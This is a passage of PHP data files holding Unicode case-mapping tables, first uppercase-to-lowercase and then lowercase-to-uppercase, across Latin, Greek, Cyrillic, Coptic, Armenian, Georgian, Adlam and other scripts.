'ⲉ', 'Ⲋ' => 'ⲋ', 'Ⲍ' => 'ⲍ', 'Ⲏ' => 'ⲏ', 'Ⲑ' => 'ⲑ', 'Ⲓ' => 'ⲓ', 'Ⲕ' => 'ⲕ', 'Ⲗ' => 'ⲗ', 'Ⲙ' => 'ⲙ', 'Ⲛ' => 'ⲛ', 'Ⲝ' => 'ⲝ', 'Ⲟ' => 'ⲟ', 'Ⲡ' => 'ⲡ', 'Ⲣ' => 'ⲣ', 'Ⲥ' => 'ⲥ', 'Ⲧ' => 'ⲧ', 'Ⲩ' => 'ⲩ', 'Ⲫ' => 'ⲫ', 'Ⲭ' => 'ⲭ', 'Ⲯ' => 'ⲯ', 'Ⲱ' => 'ⲱ', 'Ⲳ' => 'ⲳ', 'Ⲵ' => 'ⲵ', 'Ⲷ' => 'ⲷ', 'Ⲹ' => 'ⲹ', 'Ⲻ' => 'ⲻ', 'Ⲽ' => 'ⲽ', 'Ⲿ' => 'ⲿ', 'Ⳁ' => 'ⳁ', 'Ⳃ' => 'ⳃ', 'Ⳅ' => 'ⳅ', 'Ⳇ' => 'ⳇ', 'Ⳉ' => 'ⳉ', 'Ⳋ' => 'ⳋ', 'Ⳍ' => 'ⳍ', 'Ⳏ' => 'ⳏ', 'Ⳑ' => 'ⳑ', 'Ⳓ' => 'ⳓ', 'Ⳕ' => 'ⳕ', 'Ⳗ' => 'ⳗ', 'Ⳙ' => 'ⳙ', 'Ⳛ' => 'ⳛ', 'Ⳝ' => 'ⳝ', 'Ⳟ' => 'ⳟ', 'Ⳡ' => 'ⳡ', 'Ⳣ' => 'ⳣ', 'Ⳬ' => 'ⳬ', 'Ⳮ' => 'ⳮ', 'Ⳳ' => 'ⳳ', 'Ꙁ' => 'ꙁ', 'Ꙃ' => 'ꙃ', 'Ꙅ' => 'ꙅ', 'Ꙇ' => 'ꙇ', 'Ꙉ' => 'ꙉ', 'Ꙋ' => 'ꙋ', 'Ꙍ' => 'ꙍ', 'Ꙏ' => 'ꙏ', 'Ꙑ' => 'ꙑ', 'Ꙓ' => 'ꙓ', 'Ꙕ' => 'ꙕ', 'Ꙗ' => 'ꙗ', 'Ꙙ' => 'ꙙ', 'Ꙛ' => 'ꙛ', 'Ꙝ' => 'ꙝ', 'Ꙟ' => 'ꙟ', 'Ꙡ' => 'ꙡ', 'Ꙣ' => 'ꙣ', 'Ꙥ' => 'ꙥ', 'Ꙧ' => 'ꙧ', 'Ꙩ' => 'ꙩ', 'Ꙫ' => 'ꙫ', 'Ꙭ' => 'ꙭ', 'Ꚁ' => 'ꚁ', 'Ꚃ' => 'ꚃ', 'Ꚅ' => 'ꚅ', 'Ꚇ' => 'ꚇ', 'Ꚉ' => 'ꚉ', 'Ꚋ' => 'ꚋ', 'Ꚍ' => 'ꚍ', 'Ꚏ' => 'ꚏ', 'Ꚑ' => 'ꚑ', 'Ꚓ' => 'ꚓ', 'Ꚕ' => 'ꚕ', 'Ꚗ' => 'ꚗ', 'Ꚙ' => 'ꚙ', 'Ꚛ' => 'ꚛ', 'Ꜣ' => 'ꜣ', 'Ꜥ' => 'ꜥ', 'Ꜧ' => 'ꜧ', 'Ꜩ' => 'ꜩ', 'Ꜫ' => 'ꜫ', 'Ꜭ' => 'ꜭ', 'Ꜯ' => 'ꜯ', 'Ꜳ' => 'ꜳ', 'Ꜵ' => 'ꜵ', 'Ꜷ' => 'ꜷ', 'Ꜹ' => 'ꜹ', 'Ꜻ' => 'ꜻ', 'Ꜽ' => 'ꜽ', 'Ꜿ' => 'ꜿ', 'Ꝁ' => 'ꝁ', 'Ꝃ' => 'ꝃ', 'Ꝅ' => 'ꝅ', 'Ꝇ' => 'ꝇ', 'Ꝉ' => 'ꝉ', 'Ꝋ' => 'ꝋ', 'Ꝍ' => 'ꝍ', 'Ꝏ' => 'ꝏ', 'Ꝑ' => 'ꝑ', 'Ꝓ' => 'ꝓ', 'Ꝕ' => 'ꝕ', 'Ꝗ' => 'ꝗ', 'Ꝙ' => 'ꝙ', 'Ꝛ' => 'ꝛ', 'Ꝝ' => 'ꝝ', 'Ꝟ' => 'ꝟ', 'Ꝡ' => 'ꝡ', 'Ꝣ' => 'ꝣ', 'Ꝥ' => 'ꝥ', 'Ꝧ' => 'ꝧ', 'Ꝩ' => 'ꝩ', 'Ꝫ' => 'ꝫ', 'Ꝭ' => 'ꝭ', 'Ꝯ' => 'ꝯ', 'Ꝺ' => 'ꝺ', 'Ꝼ' => 'ꝼ', 'Ᵹ' => 'ᵹ', 'Ꝿ' => 'ꝿ', 'Ꞁ' => 'ꞁ', 'Ꞃ' => 'ꞃ', 'Ꞅ' => 'ꞅ', 'Ꞇ' => 'ꞇ', 'Ꞌ' => 'ꞌ', 'Ɥ' => 'ɥ', 'Ꞑ' => 'ꞑ', 'Ꞓ' => 'ꞓ', 'Ꞗ' => 'ꞗ', 'Ꞙ' => 'ꞙ', 'Ꞛ' => 'ꞛ', 'Ꞝ' => 'ꞝ', 'Ꞟ' => 'ꞟ', 'Ꞡ' => 'ꞡ', 'Ꞣ' => 'ꞣ', 'Ꞥ' => 'ꞥ', 'Ꞧ' => 'ꞧ', 'Ꞩ' => 'ꞩ', 'Ɦ' => 'ɦ', 'Ɜ' => 'ɜ', 'Ɡ' => 'ɡ', 'Ɬ' => 'ɬ', 'Ɪ' => 'ɪ', 'Ʞ' => 'ʞ', 'Ʇ' => 'ʇ', 'Ʝ' => 'ʝ', 'Ꭓ' => 'ꭓ', 'Ꞵ' => 'ꞵ', 'Ꞷ' => 'ꞷ', 'Ꞹ' => 'ꞹ', 'Ꞻ' => 'ꞻ', 'Ꞽ' => 'ꞽ', 'Ꞿ' => 'ꞿ', 'Ꟃ' => 'ꟃ', 'Ꞔ' => 'ꞔ', 'Ʂ' => 'ʂ', 'Ᶎ' => 'ᶎ', 'Ꟈ' => 'ꟈ', 'Ꟊ' => 'ꟊ', 'Ꟶ' => 'ꟶ', 'A' => 'a', 'B' => 'b', 'C' => 'c', 'D' => 'd', 'E' => 'e', 'F' => 'f', 'G' => 'g', 'H' => 'h', 'I' => 'i', 'J' => 'j', 'K' => 'k', 'L' => 'l', 'M' => 'm', 'N' => 'n', 'O' => 'o', 'P' => 'p', 'Q' => 'q', 'R' => 'r', 'S' => 's', 'T' => 't', 'U' => 'u', 'V' => 'v', 'W' => 'w', 'X' => 'x', 'Y' => 'y', 'Z' => 'z', '𐐀' => '𐐨', '𐐁' => '𐐩', '𐐂' => '𐐪', '𐐃' => '𐐫', '𐐄' => '𐐬', '𐐅' => '𐐭', '𐐆' => '𐐮', '𐐇' => '𐐯', '𐐈' => '𐐰', '𐐉' => '𐐱', '𐐊' => '𐐲', '𐐋' => '𐐳', '𐐌' => '𐐴', '𐐍' => '𐐵', '𐐎' => '𐐶', '𐐏' => '𐐷', '𐐐' => '𐐸', '𐐑' => '𐐹', '𐐒' => '𐐺', '𐐓' => '𐐻', '𐐔' => '𐐼', '𐐕' => '𐐽', '𐐖' => '𐐾', '𐐗' => '𐐿', '𐐘' => '𐑀', '𐐙' => '𐑁', '𐐚' => '𐑂', '𐐛' => '𐑃', '𐐜' => '𐑄', '𐐝' => '𐑅', '𐐞' => '𐑆', '𐐟' => '𐑇', '𐐠' => '𐑈', '𐐡' => '𐑉', '𐐢' => '𐑊', '𐐣' => '𐑋', '𐐤' => '𐑌', '𐐥' => '𐑍', '𐐦' => '𐑎', '𐐧' => '𐑏', '𐒰' => '𐓘', '𐒱' => '𐓙', '𐒲' => '𐓚', '𐒳' => '𐓛', '𐒴' => '𐓜', '𐒵' => '𐓝', '𐒶' => '𐓞', '𐒷' => '𐓟', '𐒸' => '𐓠', '𐒹' => '𐓡', '𐒺' => '𐓢', '𐒻' => '𐓣', '𐒼' => '𐓤', '𐒽' => '𐓥', '𐒾' => '𐓦', '𐒿' => '𐓧', '𐓀' => '𐓨', '𐓁' => '𐓩', '𐓂' => '𐓪', '𐓃' => '𐓫', '𐓄' => '𐓬', '𐓅' => '𐓭', '𐓆' => '𐓮', '𐓇' => '𐓯', '𐓈' => '𐓰', '𐓉' => '𐓱', '𐓊' => '𐓲', '𐓋' => '𐓳', '𐓌' => '𐓴', '𐓍' => '𐓵', '𐓎' => '𐓶', '𐓏' => '𐓷', '𐓐' => '𐓸', '𐓑' => '𐓹', '𐓒' => '𐓺', '𐓓' => '𐓻', '𐲀' => '𐳀', '𐲁' => '𐳁', '𐲂' => '𐳂', '𐲃' => '𐳃', '𐲄' => '𐳄', '𐲅' => '𐳅', '𐲆' => '𐳆', '𐲇' => '𐳇', '𐲈' => '𐳈', '𐲉' => '𐳉', '𐲊' => '𐳊', '𐲋' => '𐳋', '𐲌' => '𐳌', '𐲍' => '𐳍', '𐲎' => '𐳎', '𐲏' => '𐳏', '𐲐' => '𐳐', '𐲑' => '𐳑', '𐲒' => '𐳒', '𐲓' => '𐳓', '𐲔' => '𐳔', '𐲕' => '𐳕', '𐲖' => '𐳖', '𐲗' => '𐳗', '𐲘' => '𐳘', '𐲙' => '𐳙', '𐲚' => '𐳚', '𐲛' => '𐳛', '𐲜' => '𐳜', '𐲝' => '𐳝', '𐲞' => '𐳞', '𐲟' => '𐳟', '𐲠' => '𐳠', '𐲡' => '𐳡', '𐲢' => '𐳢', '𐲣' => '𐳣', '𐲤' => '𐳤', '𐲥' => '𐳥', '𐲦' => '𐳦', '𐲧' => '𐳧', '𐲨' => '𐳨', '𐲩' => '𐳩', '𐲪' => '𐳪', '𐲫' => '𐳫', '𐲬' => '𐳬', '𐲭' => '𐳭', '𐲮' => '𐳮', '𐲯' => '𐳯', '𐲰' => '𐳰', '𐲱' => '𐳱', '𐲲' => '𐳲', '𑢠' => '𑣀', '𑢡' => '𑣁', '𑢢' => '𑣂', '𑢣' => '𑣃', '𑢤' => '𑣄', '𑢥' => '𑣅', '𑢦' => '𑣆', '𑢧' => '𑣇', '𑢨' => '𑣈', '𑢩' => '𑣉', '𑢪' => '𑣊', '𑢫' => '𑣋', '𑢬' => '𑣌', '𑢭' => '𑣍', '𑢮' => '𑣎', '𑢯' => '𑣏', '𑢰' => '𑣐', '𑢱' => '𑣑', '𑢲' => '𑣒', '𑢳' => '𑣓', '𑢴' => '𑣔', '𑢵' => '𑣕', '𑢶' => '𑣖', '𑢷' => '𑣗', '𑢸' => '𑣘', '𑢹' => '𑣙', '𑢺' => '𑣚', '𑢻' => '𑣛', '𑢼' => '𑣜', '𑢽' => '𑣝', '𑢾' => '𑣞', '𑢿' => '𑣟', '𖹀' => '𖹠', '𖹁' => '𖹡', '𖹂' => '𖹢', '𖹃' => '𖹣', '𖹄' => '𖹤', '𖹅' => '𖹥', '𖹆' => '𖹦', '𖹇' => '𖹧', '𖹈' => '𖹨', '𖹉' => '𖹩', '𖹊' => '𖹪', '𖹋' => '𖹫', '𖹌' => '𖹬', '𖹍' => '𖹭', '𖹎' => '𖹮', '𖹏' => '𖹯', '𖹐' => '𖹰', '𖹑' => '𖹱', '𖹒' => '𖹲', '𖹓' => '𖹳', '𖹔' => '𖹴', '𖹕' => '𖹵', '𖹖' => '𖹶', '𖹗' => '𖹷', '𖹘' => '𖹸', '𖹙' => '𖹹', '𖹚' => '𖹺', '𖹛' => '𖹻', '𖹜' => '𖹼', '𖹝' => '𖹽', '𖹞' => '𖹾', '𖹟' => '𖹿', '𞤀' => '𞤢', '𞤁' => '𞤣', '𞤂' => '𞤤', '𞤃' => '𞤥', '𞤄' => '𞤦', '𞤅' => '𞤧', '𞤆' => '𞤨', '𞤇' => '𞤩', '𞤈' => '𞤪', '𞤉' => '𞤫', '𞤊' => '𞤬', '𞤋' => '𞤭', '𞤌' => '𞤮', '𞤍' => '𞤯', '𞤎' => '𞤰', '𞤏' => '𞤱', '𞤐' => '𞤲', '𞤑' => '𞤳', '𞤒' => '𞤴', '𞤓' => '𞤵', '𞤔' => '𞤶', '𞤕' => '𞤷', '𞤖' => '𞤸', '𞤗' => '𞤹', '𞤘' => '𞤺', '𞤙' => '𞤻', '𞤚' => '𞤼', '𞤛' => '𞤽', '𞤜' => '𞤾', '𞤝' => '𞤿', '𞤞' => '𞥀', '𞤟' => '𞥁', '𞤠' => '𞥂', '𞤡' => '𞥃', ); 'A', 'b' => 'B', 'c' => 'C', 'd' => 'D', 'e' => 'E', 'f' => 'F', 'g' => 'G', 'h' => 'H', 'i' => 'I', 'j' => 'J', 'k' => 'K', 'l' => 'L', 'm' => 'M', 'n' => 'N', 'o' => 'O', 'p' => 'P', 'q' => 'Q', 'r' => 'R', 's' => 'S', 't' => 'T', 'u' => 'U', 'v' => 'V', 'w' => 'W', 'x' => 'X', 'y' => 'Y', 'z' => 'Z', 'µ' => 'Μ', 'à' => 'À', 'á' => 'Á', 'â' => 'Â', 'ã' => 'Ã', 'ä' => 'Ä', 'å' => 'Å', 'æ' => 'Æ', 'ç' => 'Ç', 'è' => 'È', 'é' => 'É', 'ê' => 'Ê', 'ë' => 'Ë', 'ì' => 'Ì', 'í' => 'Í', 'î' => 'Î', 'ï' => 'Ï', 'ð' => 'Ð', 'ñ' => 'Ñ', 'ò' => 'Ò', 'ó' => 'Ó', 'ô' => 'Ô', 'õ' => 'Õ', 'ö' => 'Ö', 'ø' => 'Ø', 'ù' => 'Ù', 'ú' => 'Ú', 'û' => 'Û', 'ü' => 'Ü', 'ý' => 'Ý', 'þ' => 'Þ', 'ÿ' => 'Ÿ', 'ā' => 'Ā', 'ă' => 'Ă', 'ą' => 'Ą', 'ć' => 'Ć', 'ĉ' => 'Ĉ', 'ċ' => 'Ċ', 'č' => 'Č', 'ď' => 'Ď', 'đ' => 'Đ', 'ē' => 'Ē', 'ĕ' => 'Ĕ', 'ė' => 'Ė', 'ę' => 'Ę', 'ě' => 'Ě', 'ĝ' => 'Ĝ', 'ğ' => 'Ğ', 'ġ' => 'Ġ', 'ģ' => 'Ģ', 'ĥ' => 'Ĥ', 'ħ' => 'Ħ', 'ĩ' => 'Ĩ', 'ī' => 'Ī', 'ĭ' => 'Ĭ', 'į' => 'Į', 'ı' => 'I', 'ij' => 'IJ', 'ĵ' => 'Ĵ', 'ķ' => 'Ķ', 'ĺ' => 'Ĺ', 'ļ' => 'Ļ', 'ľ' => 'Ľ', 'ŀ' => 'Ŀ', 'ł' => 'Ł', 'ń' => 'Ń', 'ņ' => 'Ņ', 'ň' => 'Ň', 'ŋ' => 'Ŋ', 'ō' => 'Ō', 'ŏ' => 'Ŏ', 'ő' => 'Ő', 'œ' => 'Œ', 'ŕ' => 'Ŕ', 'ŗ' => 'Ŗ', 'ř' => 'Ř', 'ś' => 'Ś', 'ŝ' => 'Ŝ', 'ş' => 'Ş', 'š' => 'Š', 'ţ' => 'Ţ', 'ť' => 'Ť', 'ŧ' => 'Ŧ', 'ũ' => 'Ũ', 'ū' => 'Ū', 'ŭ' => 'Ŭ', 'ů' => 'Ů', 'ű' => 'Ű', 'ų' => 'Ų', 'ŵ' => 'Ŵ', 'ŷ' => 'Ŷ', 'ź' => 'Ź', 'ż' => 'Ż', 'ž' => 'Ž', 'ſ' => 'S', 'ƀ' => 'Ƀ', 'ƃ' => 'Ƃ', 'ƅ' => 'Ƅ', 'ƈ' => 'Ƈ', 'ƌ' => 'Ƌ', 'ƒ' => 'Ƒ', 'ƕ' => 'Ƕ', 'ƙ' => 'Ƙ', 'ƚ' => 'Ƚ', 'ƞ' => 'Ƞ', 'ơ' => 'Ơ', 'ƣ' => 'Ƣ', 'ƥ' => 'Ƥ', 'ƨ' => 'Ƨ', 'ƭ' => 'Ƭ', 'ư' => 'Ư', 'ƴ' => 'Ƴ', 'ƶ' => 'Ƶ', 'ƹ' => 'Ƹ', 'ƽ' => 'Ƽ', 'ƿ' => 'Ƿ', 'Dž' => 'DŽ', 'dž' => 'DŽ', 'Lj' => 'LJ', 'lj' => 'LJ', 'Nj' => 'NJ', 'nj' => 'NJ', 'ǎ' => 'Ǎ', 'ǐ' => 'Ǐ', 'ǒ' => 'Ǒ', 'ǔ' => 'Ǔ', 'ǖ' => 'Ǖ', 'ǘ' => 'Ǘ', 'ǚ' => 'Ǚ', 'ǜ' => 'Ǜ', 'ǝ' => 'Ǝ', 'ǟ' => 'Ǟ', 'ǡ' => 'Ǡ', 'ǣ' => 'Ǣ', 'ǥ' => 'Ǥ', 'ǧ' => 'Ǧ', 'ǩ' => 'Ǩ', 'ǫ' => 'Ǫ', 'ǭ' => 'Ǭ', 'ǯ' => 'Ǯ', 'Dz' => 'DZ', 'dz' => 'DZ', 'ǵ' => 'Ǵ', 'ǹ' => 'Ǹ', 'ǻ' => 'Ǻ', 'ǽ' => 'Ǽ', 'ǿ' => 'Ǿ', 'ȁ' => 'Ȁ', 'ȃ' => 'Ȃ', 'ȅ' => 'Ȅ', 'ȇ' => 'Ȇ', 'ȉ' => 'Ȉ', 'ȋ' => 'Ȋ', 'ȍ' => 'Ȍ', 'ȏ' => 'Ȏ', 'ȑ' => 'Ȑ', 'ȓ' => 'Ȓ', 'ȕ' => 'Ȕ', 'ȗ' => 'Ȗ', 'ș' => 'Ș', 'ț' => 'Ț', 'ȝ' => 'Ȝ', 'ȟ' => 'Ȟ', 'ȣ' => 'Ȣ', 'ȥ' => 'Ȥ', 'ȧ' => 'Ȧ', 'ȩ' => 'Ȩ', 'ȫ' => 'Ȫ', 'ȭ' => 'Ȭ', 'ȯ' => 'Ȯ', 'ȱ' => 'Ȱ', 'ȳ' => 'Ȳ', 'ȼ' => 'Ȼ', 'ȿ' => 'Ȿ', 'ɀ' => 'Ɀ', 'ɂ' => 'Ɂ', 'ɇ' => 'Ɇ', 'ɉ' => 'Ɉ', 'ɋ' => 'Ɋ', 'ɍ' => 'Ɍ', 'ɏ' => 'Ɏ', 'ɐ' => 'Ɐ', 'ɑ' => 'Ɑ', 'ɒ' => 'Ɒ', 'ɓ' => 'Ɓ', 'ɔ' => 'Ɔ', 'ɖ' => 'Ɖ', 'ɗ' => 'Ɗ', 'ə' => 'Ə', 'ɛ' => 'Ɛ', 'ɜ' => 'Ɜ', 'ɠ' => 'Ɠ', 'ɡ' => 'Ɡ', 'ɣ' => 'Ɣ', 'ɥ' => 'Ɥ', 'ɦ' => 'Ɦ', 'ɨ' => 'Ɨ', 'ɩ' => 'Ɩ', 'ɪ' => 'Ɪ', 'ɫ' => 'Ɫ', 'ɬ' => 'Ɬ', 'ɯ' => 'Ɯ', 'ɱ' => 'Ɱ', 'ɲ' => 'Ɲ', 'ɵ' => 'Ɵ', 'ɽ' => 'Ɽ', 'ʀ' => 'Ʀ', 'ʂ' => 'Ʂ', 'ʃ' => 'Ʃ', 'ʇ' => 'Ʇ', 'ʈ' => 'Ʈ', 'ʉ' => 'Ʉ', 'ʊ' => 'Ʊ', 'ʋ' => 'Ʋ', 'ʌ' => 'Ʌ', 'ʒ' => 'Ʒ', 'ʝ' => 'Ʝ', 'ʞ' => 'Ʞ', 'ͅ' => 'Ι', 'ͱ' => 'Ͱ', 'ͳ' => 'Ͳ', 'ͷ' => 'Ͷ', 'ͻ' => 'Ͻ', 'ͼ' => 'Ͼ', 'ͽ' => 'Ͽ', 'ά' => 'Ά', 'έ' => 'Έ', 'ή' => 'Ή', 'ί' => 'Ί', 'α' => 'Α', 'β' => 'Β', 'γ' => 'Γ', 'δ' => 'Δ', 'ε' => 'Ε', 'ζ' => 'Ζ', 'η' => 'Η', 'θ' => 'Θ', 'ι' => 'Ι', 'κ' => 'Κ', 'λ' => 'Λ', 'μ' => 'Μ', 'ν' => 'Ν', 'ξ' => 'Ξ', 'ο' => 'Ο', 'π' => 'Π', 'ρ' => 'Ρ', 'ς' => 'Σ', 'σ' => 'Σ', 'τ' => 'Τ', 'υ' => 'Υ', 'φ' => 'Φ', 'χ' => 'Χ', 'ψ' => 'Ψ', 'ω' => 'Ω', 'ϊ' => 'Ϊ', 'ϋ' => 'Ϋ', 'ό' => 'Ό', 'ύ' => 'Ύ', 'ώ' => 'Ώ', 'ϐ' => 'Β', 'ϑ' => 'Θ', 'ϕ' => 'Φ', 'ϖ' => 'Π', 'ϗ' => 'Ϗ', 'ϙ' => 'Ϙ', 'ϛ' => 'Ϛ', 'ϝ' => 'Ϝ', 'ϟ' => 'Ϟ', 'ϡ' => 'Ϡ', 'ϣ' => 'Ϣ', 'ϥ' => 'Ϥ', 'ϧ' => 'Ϧ', 'ϩ' => 'Ϩ', 'ϫ' => 'Ϫ', 'ϭ' => 'Ϭ', 'ϯ' => 'Ϯ', 'ϰ' => 'Κ', 'ϱ' => 'Ρ', 'ϲ' => 'Ϲ', 'ϳ' => 'Ϳ', 'ϵ' => 'Ε', 'ϸ' => 'Ϸ', 'ϻ' => 'Ϻ', 'а' => 'А', 'б' => 'Б', 'в' => 'В', 'г' => 'Г', 'д' => 'Д', 'е' => 'Е', 'ж' => 'Ж', 'з' => 'З', 'и' => 'И', 'й' => 'Й', 'к' => 'К', 'л' => 'Л', 'м' => 'М', 'н' => 'Н', 'о' => 'О', 'п' => 'П', 'р' => 'Р', 'с' => 'С', 'т' => 'Т', 'у' => 'У', 'ф' => 'Ф', 'х' => 'Х', 'ц' => 'Ц', 'ч' => 'Ч', 'ш' => 'Ш', 'щ' => 'Щ', 'ъ' => 'Ъ', 'ы' => 'Ы', 'ь' => 'Ь', 'э' => 'Э', 'ю' => 'Ю', 'я' => 'Я', 'ѐ' => 'Ѐ', 'ё' => 'Ё', 'ђ' => 'Ђ', 'ѓ' => 'Ѓ', 'є' => 'Є', 'ѕ' => 'Ѕ', 'і' => 'І', 'ї' => 'Ї', 'ј' => 'Ј', 'љ' => 'Љ', 'њ' => 'Њ', 'ћ' => 'Ћ', 'ќ' => 'Ќ', 'ѝ' => 'Ѝ', 'ў' => 'Ў', 'џ' => 'Џ', 'ѡ' => 'Ѡ', 'ѣ' => 'Ѣ', 'ѥ' => 'Ѥ', 'ѧ' => 'Ѧ', 'ѩ' => 'Ѩ', 'ѫ' => 'Ѫ', 'ѭ' => 'Ѭ', 'ѯ' => 'Ѯ', 'ѱ' => 'Ѱ', 'ѳ' => 'Ѳ', 'ѵ' => 'Ѵ', 'ѷ' => 'Ѷ', 'ѹ' => 'Ѹ', 'ѻ' => 'Ѻ', 'ѽ' => 'Ѽ', 'ѿ' => 'Ѿ', 'ҁ' => 'Ҁ', 'ҋ' => 'Ҋ', 'ҍ' => 'Ҍ', 'ҏ' => 'Ҏ', 'ґ' => 'Ґ', 'ғ' => 'Ғ', 'ҕ' => 'Ҕ', 'җ' => 'Җ', 'ҙ' => 'Ҙ', 'қ' => 'Қ', 'ҝ' => 'Ҝ', 'ҟ' => 'Ҟ', 'ҡ' => 'Ҡ', 'ң' => 'Ң', 'ҥ' => 'Ҥ', 'ҧ' => 'Ҧ', 'ҩ' => 'Ҩ', 'ҫ' => 'Ҫ', 'ҭ' => 'Ҭ', 'ү' => 'Ү', 'ұ' => 'Ұ', 'ҳ' => 'Ҳ', 'ҵ' => 'Ҵ', 'ҷ' => 'Ҷ', 'ҹ' => 'Ҹ', 'һ' => 'Һ', 'ҽ' => 'Ҽ', 'ҿ' => 'Ҿ', 'ӂ' => 'Ӂ', 'ӄ' => 'Ӄ', 'ӆ' => 'Ӆ', 'ӈ' => 'Ӈ', 'ӊ' => 'Ӊ', 'ӌ' => 'Ӌ', 'ӎ' => 'Ӎ', 'ӏ' => 'Ӏ', 'ӑ' => 'Ӑ', 'ӓ' => 'Ӓ', 'ӕ' => 'Ӕ', 'ӗ' => 'Ӗ', 'ә' => 'Ә', 'ӛ' => 'Ӛ', 'ӝ' => 'Ӝ', 'ӟ' => 'Ӟ', 'ӡ' => 'Ӡ', 'ӣ' => 'Ӣ', 'ӥ' => 'Ӥ', 'ӧ' => 'Ӧ', 'ө' => 'Ө', 'ӫ' => 'Ӫ', 'ӭ' => 'Ӭ', 'ӯ' => 'Ӯ', 'ӱ' => 'Ӱ', 'ӳ' => 'Ӳ', 'ӵ' => 'Ӵ', 'ӷ' => 'Ӷ', 'ӹ' => 'Ӹ', 'ӻ' => 'Ӻ', 'ӽ' => 'Ӽ', 'ӿ' => 'Ӿ', 'ԁ' => 'Ԁ', 'ԃ' => 'Ԃ', 'ԅ' => 'Ԅ', 'ԇ' => 'Ԇ', 'ԉ' => 'Ԉ', 'ԋ' => 'Ԋ', 'ԍ' => 'Ԍ', 'ԏ' => 'Ԏ', 'ԑ' => 'Ԑ', 'ԓ' => 'Ԓ', 'ԕ' => 'Ԕ', 'ԗ' => 'Ԗ', 'ԙ' => 'Ԙ', 'ԛ' => 'Ԛ', 'ԝ' => 'Ԝ', 'ԟ' => 'Ԟ', 'ԡ' => 'Ԡ', 'ԣ' => 'Ԣ', 'ԥ' => 'Ԥ', 'ԧ' => 'Ԧ', 'ԩ' => 'Ԩ', 'ԫ' => 'Ԫ', 'ԭ' => 'Ԭ', 'ԯ' => 'Ԯ', 'ա' => 'Ա', 'բ' => 'Բ', 'գ' => 'Գ', 'դ' => 'Դ', 'ե' => 'Ե', 'զ' => 'Զ', 'է' => 'Է', 'ը' => 'Ը', 'թ' => 'Թ', 'ժ' => 'Ժ', 'ի' => 'Ի', 'լ' => 'Լ', 'խ' => 'Խ', 'ծ' => 'Ծ', 'կ' => 'Կ', 'հ' => 'Հ', 'ձ' => 'Ձ', 'ղ' => 'Ղ', 'ճ' => 'Ճ', 'մ' => 'Մ', 'յ' => 'Յ', 'ն' => 'Ն', 'շ' => 'Շ', 'ո' => 'Ո', 'չ' => 'Չ', 'պ' => 'Պ', 'ջ' => 'Ջ', 'ռ' => 'Ռ', 'ս' => 'Ս', 'վ' => 'Վ', 'տ' => 'Տ', 'ր' => 'Ր', 'ց' => 'Ց', 'ւ' => 'Ւ', 'փ' => 'Փ', 'ք' => 'Ք', 'օ' => 'Օ', 'ֆ' => 'Ֆ', 'ა' => 'Ა', 'ბ' => 'Ბ', 'გ' => 'Გ', 'დ' => 'Დ', 'ე' => 'Ე', 'ვ' => 'Ვ', 'ზ' => 'Ზ', 'თ' => 'Თ', 'ი' => 'Ი', 'კ' => 'Კ', 'ლ' => 'Ლ', 'მ' => 'Მ', 'ნ' => 'Ნ', 'ო' => 'Ო', 'პ' => 'Პ', 'ჟ' => 'Ჟ', 'რ' => 'Რ', 'ს' => 'Ს', 'ტ' => 'Ტ', 'უ' => 'Უ', 'ფ' => 'Ფ', 'ქ' => 'Ქ', 'ღ' => 'Ღ', 'ყ' => 'Ყ', 'შ' => 'Შ', 'ჩ' => 'Ჩ', 'ც' => 'Ც', 'ძ' => 'Ძ', 'წ' => 'Წ', 'ჭ' => 'Ჭ', 'ხ' => 'Ხ', 'ჯ' => 'Ჯ', 'ჰ' => 'Ჰ', 'ჱ' => 'Ჱ', 'ჲ' => 'Ჲ', 'ჳ' => 'Ჳ', 'ჴ' => 'Ჴ', 'ჵ' => 'Ჵ', 'ჶ' => 'Ჶ', 'ჷ' => 'Ჷ', 'ჸ' => 'Ჸ', 'ჹ' => 'Ჹ', 'ჺ' => 'Ჺ', 'ჽ' => 'Ჽ', 'ჾ' => 'Ჾ', 'ჿ' => 'Ჿ', 'ᏸ' => 'Ᏸ', 'ᏹ' => 'Ᏹ', 'ᏺ' => 'Ᏺ', 'ᏻ' => 'Ᏻ', 'ᏼ' => 'Ᏼ', 'ᏽ' => 'Ᏽ', 'ᲀ' => 'В', 'ᲁ' => 'Д', 'ᲂ' => 'О', 'ᲃ' => 'С', 'ᲄ' => 'Т', 'ᲅ' => 'Т', 'ᲆ' => 'Ъ', 'ᲇ' => 'Ѣ', 'ᲈ' => 'Ꙋ', 'ᵹ' => 'Ᵹ', 'ᵽ' => 'Ᵽ', 'ᶎ' => 'Ᶎ', 'ḁ' => 'Ḁ', 'ḃ' => 'Ḃ', 'ḅ' => 'Ḅ', 'ḇ' => 'Ḇ', 'ḉ' => 'Ḉ', 'ḋ' => 'Ḋ', 'ḍ' => 'Ḍ', 'ḏ' => 'Ḏ', 'ḑ' => 'Ḑ', 'ḓ' => 'Ḓ', 'ḕ' => 'Ḕ', 'ḗ' => 'Ḗ', 'ḙ' => 'Ḙ', 'ḛ' => 'Ḛ', 'ḝ' => 'Ḝ', 'ḟ' => 'Ḟ', 'ḡ' => 'Ḡ', 'ḣ' => 'Ḣ', 'ḥ' => 'Ḥ', 'ḧ' => 'Ḧ', 'ḩ' => 'Ḩ', 'ḫ' => 'Ḫ', 'ḭ' => 'Ḭ', 'ḯ' => 'Ḯ', 'ḱ' => 'Ḱ', 'ḳ' => 'Ḳ', 'ḵ' => 'Ḵ', 'ḷ' => 'Ḷ', 'ḹ' => 'Ḹ', 'ḻ' => 'Ḻ', 'ḽ' => 'Ḽ', 'ḿ' => 'Ḿ', 'ṁ' => 'Ṁ', 'ṃ' => 'Ṃ', 'ṅ' => 'Ṅ', 'ṇ' => 'Ṇ', 'ṉ' => 'Ṉ', 'ṋ' => 'Ṋ', 'ṍ' => 'Ṍ', 'ṏ' => 'Ṏ', 'ṑ' => 'Ṑ', 'ṓ' => 'Ṓ', 'ṕ' => 'Ṕ', 'ṗ' => 'Ṗ', 'ṙ' => 'Ṙ', 'ṛ' => 'Ṛ', 'ṝ' => 'Ṝ', 'ṟ' => 'Ṟ', 'ṡ' => 'Ṡ', 'ṣ' => 'Ṣ', 'ṥ' => 'Ṥ', 'ṧ' => 'Ṧ', 'ṩ' => 'Ṩ', 'ṫ' => 'Ṫ', 'ṭ' => 'Ṭ', 'ṯ' => 'Ṯ', 'ṱ' => 'Ṱ', 'ṳ' => 'Ṳ', 'ṵ' => 'Ṵ', 'ṷ' => 'Ṷ', 'ṹ' => 'Ṹ', 'ṻ' => 'Ṻ', 'ṽ' => 'Ṽ', 'ṿ' => 'Ṿ', 'ẁ' => 'Ẁ', 'ẃ' => 'Ẃ', 